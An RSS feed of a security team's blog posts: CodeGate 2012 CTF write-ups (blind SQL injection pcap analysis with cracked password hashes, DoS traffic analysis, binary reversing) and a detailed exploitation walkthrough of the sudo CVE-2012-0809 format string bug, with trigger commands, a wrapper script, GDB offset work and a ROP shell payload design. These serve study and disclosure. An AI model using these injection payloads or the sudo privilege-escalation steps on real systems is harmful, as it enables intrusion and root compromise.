VNSECURITY / CLGT TEAM http://www.vnsecurity.net Know thy Enemy! Sat, 10 Mar 2012 10:46:59 +0000 http://wordpress.org/?v= en hourly 1 CodeGate 2012 Quals – Network 400 http://www.vnsecurity.net/2012/03/codegate-2012-quals-network-400/ http://www.vnsecurity.net/2012/03/codegate-2012-quals-network-400/#comments Thu, 01 Mar 2012 04:33:22 +0000 pdah https://www.vnsecurity.net/?p=1401

Challenge

Because of vulnerability of site in Company A, database which contains user’s information was leaked. The file is dumped packet at the moment of attacking.
Find the administrator’s account information which was leaked from the site.
For reference, some parts of the packet was blind to XXXX.

Answer : strupr(md5(database_name|table_name|decode(password_of_admin)))
(’|'is just a character)

http://repo.shell-storm.org/CTF/CodeGate-2012/Network400/80924D4296FCBE81EA5F09CF60542AE7

Summary

Given a pcap file (again) captured from an attack, we need to find information about database name, table name, administrator’s password in plaintext.
This challenge requires basic network analysis skill, some knowledge of Blind SQL Injection and password recovery tools.

Solution

Browsing the pcap file using wireshark, this is obviously a Blind SQL Injection attack.

GET /sc/id_check.php?name=music%27%20AND%20%27Ohavy%27=%27Ohavyy HTTP/1.1
Accept-Encoding: identity
Accept-Language: en-us,en;q=0.5
Host: www.cdgate.xxx
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15)
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Connection: close

HTTP/1.1 200 OK
Date: Wed, 22 Feb 2012 09:01:54 GMT
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.1 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g
X-Powered-By: PHP/5.2.6-2ubuntu4.1
Vary: Accept-Encoding
Content-Length: 0
Connection: close
Content-Type: text/html

GET /sc/id_check.php?name=music%27%20AND%20%27Ohavy%27=%27Ohavy HTTP/1.1
Accept-Encoding: identity
Accept-Language: en-us,en;q=0.5
Host: www.cdgate.xxx
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15)
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Connection: close

HTTP/1.1 200 OK
Date: Wed, 22 Feb 2012 09:01:54 GMT
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.1 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g
X-Powered-By: PHP/5.2.6-2ubuntu4.1
Vary: Accept-Encoding
Content-Length: 4
Connection: close
Content-Type: text/html

Some first requests are just for checking the responses of server to some random injected queries. We can easily notice that if the expressions in injected queries return False, HTTP response will have “Content-Length: 0”, otherwise the expressions return True. Another thing is that all the attacking queries had the same pattern of … [EXPRESSION] > [VALUE] … As the operators were all ‘>’, for each [EXPRESSION] we only need to catch the last [VALUE] of ‘False’ responses.

We created a python script to parse this pcap file:

import sys
from scapy.all import *
import urllib, string

packets = rdpcap("network400")
len_packets = len(packets)
l1 = []
l2 = []
i = 0
while i < len_packets:
    if 'Raw' in packets[i] and packets[i].payload.dst == '192.168.1.41':
        l1.append(urllib.unquote(str(packets[i]['Raw']).split("\r")[0]))
        while True:
            i+=1
            if 'Raw' in packets[i]:
                if packets[i].payload.dst == '192.168.1.8':
                    content = str(packets[i]['Raw'])
                    if 'Content-Length: 0' in content:
                        l2.append(False)
                    else:
                        l2.append(True)
                    break
    i+=1
for i in range(len(l1)):
    print l1[i]
    print l2[i]

Here’s a part of the output:


GET /sc/id_check.php?name=music’ AND CONNECTION_ID()=CONNECTION_ID() AND ‘YOxWw’='YOxWw HTTP/1.1
True
GET /sc/id_check.php?name=music’ AND ISNULL(1/0) AND ‘wSwEm’='wSwEm HTTP/1.1
True
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT 7 FROM information_schema.TABLES LIMIT 0, 1), 1, 1)) > 51 AND ‘zqAWP’='zqAWP HTTP/1.1
True
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT 7 FROM information_schema.TABLES LIMIT 0, 1), 1, 1)) > 54 AND ‘zqAWP’='zqAWP HTTP/1.1
True
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT 7 FROM information_schema.TABLES LIMIT 0, 1), 1, 1)) > 56 AND ‘zqAWP’='zqAWP HTTP/1.1
False
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT 7 FROM information_schema.TABLES LIMIT 0, 1), 1, 1)) > 55 AND ‘zqAWP’='zqAWP HTTP/1.1
False
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT 7 FROM information_schema.TABLES LIMIT 0, 1), 2, 1)) > 51 AND ‘zqAWP’='zqAWP HTTP/1.1
False
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT 7 FROM information_schema.TABLES LIMIT 0, 1), 2, 1)) > 48 AND ‘zqAWP’='zqAWP HTTP/1.1
False
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT 7 FROM information_schema.TABLES LIMIT 0, 1), 2, 1)) > 1 AND ‘zqAWP’='zqAWP HTTP/1.1
False
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR(10000)), CHAR(32)) FROM information_schema.SCHEMATA), 1, 1)) > 51 AND ‘yFdDA’='yFdDA HTTP/1.1
False
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR(10000)), CHAR(32)) FROM information_schema.SCHEMATA), 1, 1)) > 48 AND ‘yFdDA’='yFdDA HTTP/1.1
True
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR(10000)), CHAR(32)) FROM information_schema.SCHEMATA), 1, 1)) > 49 AND ‘yFdDA’='yFdDA HTTP/1.1
True

We extended the script to print out only the leaked characters


import sys
from scapy.all import *
import urllib
packets = rdpcap("network400")
len_packets = len(packets)

cur_s = None
last_false_value = None
result = ""
i=0
while i < len_packets:
    if ('Raw' in packets[i]) and (packets[i].payload.dst == '192.168.1.41'):
        query = urllib.unquote(str(packets[i]['Raw']).split("\r")[0])
        if ">" in query:
            s,v = query.split(">")
            v=chr(int(v.strip().split(" ")[0]))
            if cur_s != s and last_false_value != None:
                result+= last_false_value
            cur_s = s
        else:
            v = None
        while True:
            i+=1
            if 'Raw' in packets[i]:
                if packets[i].payload.dst == '192.168.1.8':
                    content = str(packets[i]['Raw'])
                    if 'Content-Length: 0' in content:
                        last_false_value = v
                    break

    i+=1
print result

The output looks better (but lack of information about queries):

2
information_schema
cdgate
17
CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
PROFILING
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
1
member
3
cdgate
6
name
id
email
sex
level
passwd
11
monitor@cdgate.xxx
08b5411f848a2581a41672a759c87380
2
monitor
*1763CA06A6BF4E96A671D674E855043A9C7886B2
f
apple@cdgate.xxx
apple
3
apple
*C5404E97FF933A91C48743E0C4063B2774F052DD
m
music@cdgate.xxx
music
6
music
*DBA29A581E9689455787B273C91D77F03D7FAD5B
m
computer@cdgate.xxx
computer
2
computer
*8E4ADF66627261AC0DE1733F55C7A0B72EC113FB
f
com@cdgate.xxx
com
3
com
*FDDA9468184E298A054803261A4753FF4657E889
f
lyco@cdgate.xxx
lynco
4
*EEFD19E63FA33259154630DE24A2B17772FAC630
*0ECBFBFE8116C7612A537E558FB7BE1293576B78
f
mouse@cdgate.xxx
mouse
4
*87A5750BB01F1E52060CF8EC90FB1344B1D413AA
*6FF638106693EF27772523B0D5C9BFAF4DD292F1
m
root@cdgate.xxx
root
6
root
*300102BEB9E4DABEB8BD60BB9BB6686A6272C787
f
desktop@cdgate.xxx
desktop
1
desktop
*DDD9B83818DB7B634C88AD49396F54BD0DE31677
f
www@cdgate.xxx
4eae35f1b35977a00ebd8086c259d4c9
8
www
*3E8563E916A490A13918AF7385B8FF865C221039
f
notebook@cdgate.xxx
notebook
8
fb5d1b4a2312e239652b13a24ed9a74f
*18DF7FA3EE218ACB28E69AF1D643091052A95887
m

By combining outputs of these 2 scripts we could see that database is cdgate and table name is member. These information were followed by a number of member records, the value for each record were in order of email, id, level, name, password, sex. There was only one user desktop@cdgate.xxx with level=1, the password was hashed hence we let hashcat do the rest:

$ echo DDD9B83818DB7B634C88AD49396F54BD0DE31677 > hash
$ ./hashcat-cli64.bin -m300 -a3 --bf-cs-buf=abcdefghijklmnopqrstuvwxyz0123456789 hash outdir
................
Charset...: abcdefghijklmnopqrstuvwxyz0123456789
Length....: 6
Index.....: 0/1 (segment), 2176782336 (words), 0 (bytes)
Recovered.: 0/1 hashes, 0/1 salts
Speed/sec.: - plains, 13.99M words
Progress..: 1360425204/2176782336 (62.50%)
Running...: 00:00:01:37
Estimated.: 00:00:00:58
ddd9b83818db7b634c88ad49396f54bd0de31677:etagcd
All hashes have been recovered

Bingo! The password is etagcd, it’s time to build the flag:

>>> hashlib.md5('cdgate|member|etagcd').hexdigest().upper();
'AB6FCA7FFC88710CFBC37D5DF9A25F3F'
]]>
http://www.vnsecurity.net/2012/03/codegate-2012-quals-network-400/feed/ 0
Codegate 2012 Quals – Network 200 http://www.vnsecurity.net/2012/03/codegate-2012-quals-network-200/ http://www.vnsecurity.net/2012/03/codegate-2012-quals-network-200/#comments Thu, 01 Mar 2012 04:15:46 +0000 pdah https://www.vnsecurity.net/?p=1390

Challenge

To whom it may concern to DoS attack.
What is the different between attack and normal traffic?
Attached PCAP file is from suspicious client PC which may be infected.
If you find TOP 4 targeting address, let me know exactly information such as below.
Answer:
COUNTRY_NAME_TOP1(3)COUNTRY_NAME_TOP2(13)COUNTRY_NAME_TOP3(2)COUNTRY_NAME_TOP4(5)_1.1.1.1_2.2.2.2_3.3.3.3_4.4.4.4

http://repo.shell-storm.org/CTF/CodeGate-2012/Network200/A565CF2670A7D77603136B69BF93EA45

Summary
Given a pcap file, our task is to find top 4 targeting addresses of a DoS attack. This challenge requires network analysis skill with some experiences of DoS attack.

Solution

We wrote a small python script to generate the statistics of packets:

from scapy.all import *
import operator
packets = rdpcap("network200")
stats = {}
for packet in packets:
    try:
        dst = packet.payload.dst
        if dst not in stats: stats[dst] = 0
        stats[dst] += 1
    except:
        pass
for k,v in sorted(stats.iteritems(), key=operator.itemgetter(1))[::-1]:
    print k,v

Here’s a part of output:

111.221.70.11 52620
1.2.3.4 12670
109.123.118.42 2960
174.35.40.44 637
220.73.139.203 452
123.214.170.56 375
199.7.48.190 311
220.73.139.201 280
8.8.8.8 248
74.125.71.94 208
208.46.163.42 186
175.158.10.55 146
174.35.40.43 145
74.125.71.120 120
74.125.71.104 116
69.171.234.16 103
66.150.14.48 99
61.110.213.19 94
184.28.147.55 84
174.35.40.45 82
110.45.229.135 82
199.59.149.232 79
61.106.27.72 77
184.169.76.33 68
74.125.71.157 62
211.174.53.236 56
174.35.40.6 55
208.94.0.38 54

Then we checked one by one from the top of our list using WireShark:

  • 111.221.70.11 is obviously under SYN flood attack.
  • 109.123.118.42 is flooded by HTTP GET requests.
  • 199.7.48.190 is under RUDY attack (POST requests with very large Content-Length).
  • 66.150.14.48 has some abnormal HTTP Requests.

Using ip2location.com, we got the country names in respective order:

  • Singapore
  • United Kingdom
  • United States
  • United States

FLAG: none_111.221.70.11_109.123.118.42_199.7.48.190_66.150.14.48

]]>
http://www.vnsecurity.net/2012/03/codegate-2012-quals-network-200/feed/ 0
CodeGate 2012 Quals bin400 writeup http://www.vnsecurity.net/2012/02/codegate-2012-quals-bin400-writeup/ http://www.vnsecurity.net/2012/02/codegate-2012-quals-bin400-writeup/#comments Tue, 28 Feb 2012 09:04:25 +0000 admin https://www.vnsecurity.net/?p=1350

Thanks to Deroko and some ARTeam members to play with CLGT. Below is the write up by Deroko posted on http://www.xchg.info/wiki/index.php?title=CodeGate2012_bin400

CodeGate2012 bin400

Challenge: The Rewolf in Kaspersky
Link to challenge : http://deroko.phearless.org/codegate2012/bin/bin400.zip

So Rewolf vm, is packed with something called KasperSky according toProtectionID (never heard of this packer ). Unpacking is trivial, like with any simple packer. Run to OEP, dump, fix imports:

Here is OEP for ReWolf VM:

Rewolf oep.png

And here is OEP for original program (note you need to dump at ReWolf VM, but importrec will work only properly if you use this OEP) :

Real oep.png

Once we have file dumped, we might run it to get idea how it actually looks like:

Appwindow.png

Not much there :( 1st time I pressed some key while program was focused I got an exception:

Exception.png
Exception code.png

At first I thought that my dump is broken, so I tried with original application, same thing happened. Hmmm so this is common problem, but challenge is definitely not broken, so we need to see what’s going on, and trace instruction per instruction in ReWolf VM.

After a little bit of tracing I noticed that exception comes after virtualized jcc is executed, because next instruction size is wrong. (From exception you can see thatecx is quite big number which it should not be):

0041D000   50               PUSH EAX            <----- start of jcc opcode
0041D001   9C               PUSHFD
0041D002   58               POP EAX
0041D003   53               PUSH EBX
0041D004   E8 00000000      CALL test.0041D009
0041D009   5B               POP EBX
0041D00A   8D5453 08        LEA EDX,DWORD PTR DS:[EBX+EDX*2+8]
0041D00E   5B               POP EBX
0041D00F   FFE2             JMP EDX

If jcc is taked edx is set to 1, otherwise edx is 0.

0041D0DE   33D2             XOR EDX,EDX                              ; test.0041D023
0041D0E0   EB 04            JMP SHORT test.0041D0E6
0041D0E2   33D2             XOR EDX,EDX
0041D0E4   EB 01            JMP SHORT test.0041D0E7
0041D0E6   42               INC EDX
0041D0E7   50               PUSH EAX
0041D0E8   9D               POPFD
0041D0E9   58               POP EAX
0041D4AA   5A               POP EDX                <---- pop EIP (jcc not taken)
0041D4AB   58               POP EAX
0041D4AC  ^E9 2CFFFFFF      JMP test.0041D3DD
0041D4B1   0FB657 03        MOVZX EDX,BYTE PTR DS:[EDI+3]
0041D4B5   FF7424 08        PUSH DWORD PTR SS:[ESP+8]
0041D4B9   9D               POPFD
0041D4BA   E8 41FBFFFF      CALL test.0041D000
0041D4BF   85D2             TEST EDX,EDX
0041D4C1  ^74 E7            JE SHORT test.0041D4AA
0041D4C3   5A               POP EDX
0041D4C4   0357 04          ADD EDX,DWORD PTR DS:[EDI+4] <--- increment EIP (jcc taken)
0041D4C7   034F 04          ADD ECX,DWORD PTR DS:[EDI+4]
0041D4CA   58               POP EAX
0041D4CB  ^E9 5AFEFFFF      JMP test.0041D32A

[edi+4] = 00000104

0041D32A   8BF2             MOV ESI,EDX
0041D32C   46               INC ESI
0041D32D   8A02             MOV AL,BYTE PTR DS:[EDX]           <--- size of next instruction
0041D32F   3242 01          XOR AL,BYTE PTR DS:[EDX+1]         <--- xor 1st 2 bytes to get proper sie
0041D332   0FB6C0           MOVZX EAX,AL
0041D335   50               PUSH EAX                           <--- size of instruction passed to memcpy
0041D336   56               PUSH ESI
0041D337   57               PUSH EDI
0041D338   E8 D8050000      CALL test.0041D915                 <--- memcpy

BOOM Exception

0041DB10  25 93 97 B6 C4 C5 89 8A                          %“—¶ÄʼnŠ

Instruction size is calculated as 25 ^ 93 = B6 which is wrong for instruction size in this case.

At this point I decided to try and patch jcc vm handler so jcc will not be taken:

Patch.png

and then I typed something:

Firstcharacter.png

And then I just kept pressing keys:

Okunlocked.png

Press OK and you get the key:

Finalkey.png

So correct key for bin400 is : WonderFul_lollol_!

Greetings

I would like to say tnx to my ARTeam mates, vnsecurity guys, and of coursesuperkhung for listening to my random blabing on skype during CTF :)

Author

deroko of ARTeam


]]>
http://www.vnsecurity.net/2012/02/codegate-2012-quals-bin400-writeup/feed/ 0
CodeGate 2012 Quals bin500 writeup http://www.vnsecurity.net/2012/02/codegate2012-bin500-write-up/ http://www.vnsecurity.net/2012/02/codegate2012-bin500-write-up/#comments Tue, 28 Feb 2012 08:59:45 +0000 admin https://www.vnsecurity.net/?p=1343

Thanks to Deroko and some ARTeam members to play with CLGT. Below is the write up by Deroko posted on http://www.xchg.info/wiki/index.php?title=CodeGate2012_bin500

CodeGate2012 bin500

Challenge: Seeing that it is not all.
Link to challenge: http://deroko.phearless.org/codegate2012/bin/bin500.zip

This binary is double ReWolf vm, and python script for modified Olly by Immunity.

Script which comes with binary uses marshal.loads to load already compiled pyc code which was produced with marshal.dump

To get .pyc back we need to make some modification to our script:

Modifiedscript.png

Now C:\test.pyc will have dump of python bytecode.

If you look carefully through script, some strings might look like a clue:

readMemory
getRegs
EIP
Nice work, Key1 :
But, Find Next Key!
Nice work, Key2 :
Input Key : Key1 + Key2
Nothing Found ...

So this script will probably try to read from current EIP some bytes (readMemory + EIP are good hint), and make key out of it. After modifying test.pyc to have proper layout:

00000000  03 f3 0d 0a dc dd e2 4c  63 00 00 00 00 00 00 00  |.......Lc.......|
00000010  00 02 00 00 00 40 00 00  00 73 22 00 00 00 64 00  |.....@...s"...d.|
00000020  00 64 01 00 6c 00 00 5a  00 00 64 02 00 84 00 00  |.d..l..Z..d.....|

Which is actually 4 bytes for python signature4 bytes for timestamp +marshal.dump() data we get .pyc file which we can decompile.

For sake of this solution, we will use some simple program to dump python byte-code, and one I found here:http://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html

After disassembling binary with this python script we get (I cut not important parts):

             15 LOAD_ATTR                2 (readMemory)
             18 LOAD_CONST               1 (4237456)
             21 LOAD_CONST               2 (80)
             24 CALL_FUNCTION            2

So from address 40A890 it will read 80 bytes and keep it in internal buffer.

Now comes interesting part when it actually gets keys:

 19          54 LOAD_FAST                4 (regs)
             57 LOAD_CONST               3 ('EIP')
             60 BINARY_SUBSCR
             61 LOAD_CONST               4 (4273157)
             64 COMPARE_OP               2 (==)
             67 POP_JUMP_IF_FALSE      161

and

 23     >>  161 LOAD_FAST                4 (regs)
            164 LOAD_CONST               3 ('EIP')
            167 BINARY_SUBSCR
            168 LOAD_CONST              15 (4278021)
            171 COMPARE_OP               2 (==)
            174 POP_JUMP_IF_FALSE      276

If you look at out.txt (in attachment) you may also see what’s read from where as this python script is not complicated, and python byte code is quite easy to understand.

So just set EIP to be 413405 and run script, and you will get 1st key. Then set EIP to be 414705 and run scrip again. If you did, everything correct you should see in Log of Immunity Debugger this:

Key.png

So final key is Never_up_N3v3r_1n

Greetings

I would like to say tnx to my ARTeam mates, vnsecurity guys, and rd , and of course to superkhung for listening to my random blabing on skype during CTF :)

Author

deroko of ARTeam

]]> http://www.vnsecurity.net/2012/02/codegate2012-bin500-write-up/feed/ 0 Exploiting Sudo format string vunerability http://www.vnsecurity.net/2012/02/exploiting-sudo-format-string-vunerability/ http://www.vnsecurity.net/2012/02/exploiting-sudo-format-string-vunerability/#comments Thu, 16 Feb 2012 12:39:11 +0000 longld https://www.vnsecurity.net/?p=1304

In this post we will show how to exploit format string vulnerability in sudo 1.8 that reliably bypasses FORTIFY_SOURCE, ASLR, NX and Full RELRO protections. Our test environment is Fedora 16 which is shipped with a vulnerable sudo version (sudo-1.8.2p1).

The vulnerability

Vulnerability detail can be found in CVE-2012-0809. In summary, executing sudo in debug mode with crafted argv[0] will trigger the format string bug. E.g:

$ ln -s /usr/bin/sudo ./%n
$ ./%n -D9

The exploit

Though above format string vulnerability is straight, it is not easy to exploit on modern Linux distributions. sudo binary in Fedora 16 comes with:

In order to exploit format string bug we have to bypass all above protections, but thanks to this local bug, we can disable ASLR easily with resources limit trick (another notes, prelink is enabled on Fedora 16 so it also disable ASLR from local exploits). As a consequence, NX can be defeated with return-to-libc/ROP with known addresses. The most difficult part is bypassing FORTIFY_SOURCE.

Bypassing FORTIFY_SOURCE

We just follow “A Eulogy for Format Strings” article from Phrack #67 by Captain Planet wit very detail steps to bypass FORTIFY_SOURCE. In summary, there is an integer overflow bug in FORTIFY_SOURCE patch, by exploiting this we can turn off _IO_FLAGS2_FORTIFY bit in file stream and use “%n” operation from a writable address. Following steps will be done:

  1. Set nargs to a big value so (nargs * 4) will be truncated to a small integer value, the perfect value is nargs = 0×40000000, so nargs * 4 = 0. The format string to achieve this looks like: “%*1073741824$”
  2. Turn off _IO_FLAGS2_FORTIFY on stderr file stream
  3. Reset nargs = 0 to bypass check loop

Let examine #2 and #3 in detail. We create a wrapper (sudo-exploit.py) then fire a GDB session:

#!/usr/bin/env python
import os
import sys

def exploit(vuln):
    fmtstring = "%*123$ %*456$ %1073741824$"
    args = [fmtstring, "-D9"]
    env = os.environ
    os.execve(vuln, args, env)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        usage()
    else:
        exploit(sys.argv[1])
# ulimit -s unlimited
# gdb -q /usr/bin/sudo
Reading symbols from /usr/bin/sudo...Reading symbols from /usr/lib/debug/usr/bin/sudo.debug...done.
done.
gdb$ set exec-wrapper ./sudo-exploit.py
gdb$ run
process 2149 is executing new program: /usr/bin/sudo
*** invalid %N$ use detected ***

Program received signal SIGABRT, Aborted.
gdb$ bt
#0  0x40038416 in ?? ()
#1  0x400bc98f in __GI_raise (sig=0x6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:64
#2  0x400be2d5 in __GI_abort () at abort.c:91
#3  0x400fbe3a in __libc_message (do_abort=0x1, fmt=0x401f3dea "%s") at ../sysdeps/unix/sysv/linux/libc_fatal.c:198
#4  0x400fbf64 in __GI___libc_fatal (message=0x401f5a6c "*** invalid %N$ use detected ***\n") at ../sysdeps/unix/sysv/linux/libc_fatal.c:209
#5  0x400d1df5 in _IO_vfprintf_internal (s=0xbff42498, format=<optimized out>, ap=0xbff42b78  <incomplete sequence \340>) at vfprintf.c:1771
#6  0x400d566b in buffered_vfprintf (s=0x40234920, format=<optimized out>, args=<optimized out>) at vfprintf.c:2207
#7  0x400d0cad in _IO_vfprintf_internal (s=0x40234920, format=0x4023b958 "%*123$ %*456$ %1073741824$: settings: %s=%s\n", ap=0xbff42b78  <incomplete sequence \340>) at vfprintf.c:1256
#8  0x401958a1 in ___vfprintf_chk (fp=0x40234920, flag=0x1, format=0x4023b958 "%*123$ %*456$ %1073741824$: settings: %s=%s\n", ap=0xbff42b78  <incomplete sequence \340>) at vfprintf_chk.c:35
#9  0x400094a0 in vfprintf (__ap=0xbff42b78  <incomplete sequence \340>, __fmt=<optimized out>, __stream=<optimized out>) at /usr/include/bits/stdio2.h:128
#10 sudo_debug (level=0x9, fmt=0x4000dff3 "settings: %s=%s") at ./sudo.c:1202
#11 0x400082cd in parse_args (argc=0x1, argv=0x4023b730, nargc=0xbff42d20, nargv=0xbff42d24, settingsp=0xbff42d28, env_addp=0xbff42d2c) at ./parse_args.c:413
#12 0x40002890 in main (argc=0x2, argv=0xbff42df4, envp=0xbff42e00) at ./sudo.c:203

gdb$ list vfprintf.c:1688
1683	    /* Fill in the types of all the arguments.  */
1684	    for (cnt = 0; cnt < nspecs; ++cnt)
1685	      {
1686		/* If the width is determined by an argument this is an int.  */
1687		if (specs[cnt].width_arg != -1)
1688		  args_type[specs[cnt].width_arg] = PA_INT;
1689
1690		/* If the precision is determined by an argument this is an int.  */
1691		if (specs[cnt].prec_arg != -1)
1692		  args_type[specs[cnt].prec_arg] = PA_INT;
gdb$ break vfprintf.c:1688
Breakpoint 1 at 0x400d1c5b: file vfprintf.c, line 1688.

gdb$ run
process 2157 is executing new program: /usr/bin/sudo
   0x400d1c53 <_IO_vfprintf_internal+4531>:	mov    eax,DWORD PTR [edi+0x20]
   0x400d1c56 <_IO_vfprintf_internal+4534>:	cmp    eax,0xffffffff
   0x400d1c59 <_IO_vfprintf_internal+4537>:	je     0x400d1c68 <_IO_vfprintf_internal+4552>
=> 0x400d1c5b <_IO_vfprintf_internal+4539>:	mov    edx,DWORD PTR [ebp-0x484]
   0x400d1c61 <_IO_vfprintf_internal+4545>:	mov    DWORD PTR [edx+eax*4],0x0
   0x400d1c68 <_IO_vfprintf_internal+4552>:	mov    eax,DWORD PTR [edi+0x1c]
   0x400d1c6b <_IO_vfprintf_internal+4555>:	cmp    eax,0xffffffff
   0x400d1c6e <_IO_vfprintf_internal+4558>:	je     0x400d1c7d <_IO_vfprintf_internal+4573>

Breakpoint 1, _IO_vfprintf_internal (s=0xbfe48748, format=<optimized out>, ap=0xbfe48e28  <incomplete sequence \340>) at vfprintf.c:1688
1688		  args_type[specs[cnt].width_arg] = PA_INT;

gdb$ p &s->_flags2
$1 = (_IO_FILE **) 0xbf845310
gdb$ p/d (char*)&s->_flags2 - *(int)($ebp-0x484)
$2 = 11396

gdb$ p &nargs
$3 = (size_t *) 0xbf844e74
gdb$ p/d (char*)&nargs - *(int)($ebp-0x484)
$4 = 1924

s->_flags2 and nargs is on stack with fixed relative offsets to current stack pointer, so we can adjust offsets according to relative stack addresses to fulfill #2 & #3. Let do this again and calculate correct values when we have final format string for the exploit.

Bypassing Full RELRO

We can now use “%n” primitive to write anywhere with any value, but where to write to? sudo binary is compiled with Full RELRO, this means we cannot write to GOT entry or dynamic->.fini to redirect the execution as they are read-only. The idea here is simple: we try to overwrite function pointer in libc or ld-linux and hope it will be called later in program to trigger redirection. This works smoothly with sudo case.

# ln -s /usr/bin/sudo ./%x
# ulimit -s unlimited
# gdb -q ./%x
gdb$ list sudo.c:204
199	    memset(&user_details, 0, sizeof(user_details));
200	    user_info = get_user_info(&user_details);
201
202	    /* Parse command line arguments. */
203	    sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);
204	    sudo_debug(9, "sudo_mode %d", sudo_mode);
205
206	    /* Print sudo version early, in case of plugin init failure. */
207	    if (ISSET(sudo_mode, MODE_VERSION)) {
208		printf("Sudo version %s\n", PACKAGE_VERSION);

gdb$ break sudo.c:207
gdb$ run -D9
4000e036: settings: 9=en_US.UTF-8
4000e0bc: settings: %x=en_US.UTF-8
4000e0c5: settings: true=en_US.UTF-8
4000e0fc: settings: 10.0.2.15/255.255.255.0 fe80::a00:27ff:fe9e:e68c/ffff:ffff:ffff:ffff::=en_US.UTF-8
a0001: sudo_mode -1078177084
Breakpoint 1, main (argc=0x2, argv=0xbfbc5394, envp=0xbfbc53a0) at ./sudo.c:207
207	    if (ISSET(sudo_mode, MODE_VERSION)) {

gdb$ vmmap libc
Start	End	Perm	Name
0x400a8000 0x4024d000 r-xp /lib/libc-2.14.90.so
0x4024d000 0x4024f000 r--p /lib/libc-2.14.90.so
0x4024f000 0x40250000 rw-p /lib/libc-2.14.90.so
gdb$ x/8wx 0x4024f000
0x4024f000:	0x401da990	0x40122490	0x40121e10	0x401227a0
0x4024f010:	0x4013fc60	0x40122fb0	0x40027f20	0x401223e0
gdb$ x/8i 0x40121e10
0x40121e10 <__GI___libc_malloc>:	sub    esp,0x3c
0x40121e13 <__GI___libc_malloc+3>:	mov    DWORD PTR [esp+0x2c],ebx
0x40121e17 <__GI___libc_malloc+7>:	call   0x401db813 <__i686.get_pc_thunk.bx>
0x40121e1c <__GI___libc_malloc+12>:	add    ebx,0x12d1d8
0x40121e22 <__GI___libc_malloc+18>:	mov    DWORD PTR [esp+0x30],esi
0x40121e26 <__GI___libc_malloc+22>:	mov    esi,DWORD PTR [esp+0x40]
0x40121e2a <__GI___libc_malloc+26>:	mov    DWORD PTR [esp+0x34],edi
0x40121e2e <__GI___libc_malloc+30>:	mov    DWORD PTR [esp+0x38],ebp

gdb$ set *0x4024f008=0x41414141
gdb$ continue
Program received signal SIGSEGV, Segmentation fault.
0x400bee20 <realloc@plt+0>:	jmp    DWORD PTR [ebx+0x10]
0x400bee26 <realloc@plt+6>:	push   0x8
0x400bee2b <realloc@plt+11>:	jmp    0x400bee00
=> 0x400bee30 <malloc@plt+0>:	jmp    DWORD PTR [ebx+0x14]
0x400bee36 <malloc@plt+6>:	push   0x10
0x400bee3b <malloc@plt+11>:	jmp    0x400bee00
0x400bee40 <memalign@plt+0>:	jmp    DWORD PTR [ebx+0x18]
0x400bee46 <memalign@plt+6>:	push   0x18
0x400bee30 in malloc@plt () from /lib/libc.so.6
gdb$ x/x $ebx+0x14
0x4024f008:	0x41414141

Bypassing NX

The last part of our exploit is bypassing NX and this can be done via libc ROP gadgets as its address now is fixed. We spray the environment with target payload and use a stack pivot gadget (add esp, 0xNNN) to jump to it. Out payload will look like:

[ ROP NOPs | setuid, execve, 0, &/bin/sh, nullptr, nullptr ]

Or we can use another simple version to avoid NULL byte:

[ ROP NOPs | execve, exit, &./custom_shell, nullptr, nullptr ]

Where “./custom_shell” is an available string in libc (e.g: “./0123456789:;<=>?”)

Exploit code

To not spoil the fun of people who may want to try it, I will post it later :)

Further notes

FORTIFY_SOURCE on x86_x64

The technique we use here to bypass FORTIFY_SOURCE failed work on x86_64 as we can not find a nargs value (32-bit) that satisfies: (nargs * 4) is truncated to a small 64-bit value. I hope someone will find new ways to bypass it on x86_64.

Reliability of exploit

Though we disable ASLR, stack address is not affected and sometimes there is a gap between current stack pointer and our payload in environment and we may fail to perform stack pivoting. In order to achieve reliability, we have to spray the environment carefully. Update: 65K environment is enough for 100% reliability on Fedora (thanks to brainsmoke)

Update: exploit on grsecurity/PaX-enabled kernel

Our exploit on Fedora16 with vanilla kernel relies on a single address: libc base address. With PaX’s ASLR implementation we have to bruteforce for 20-bits and this is definitely hard with proper ASLR. Though “ulimit -s unlimited” has no real effect on grsecurity/PaX-enabled kernel, it can help to reduce 4-bits entropy of library addresses. 16-bits bruteforcing still requires average 32K+ runs and is hopeless with grsecurity’s bruteforce deterring (15 minutes locked out of system for a failed try).

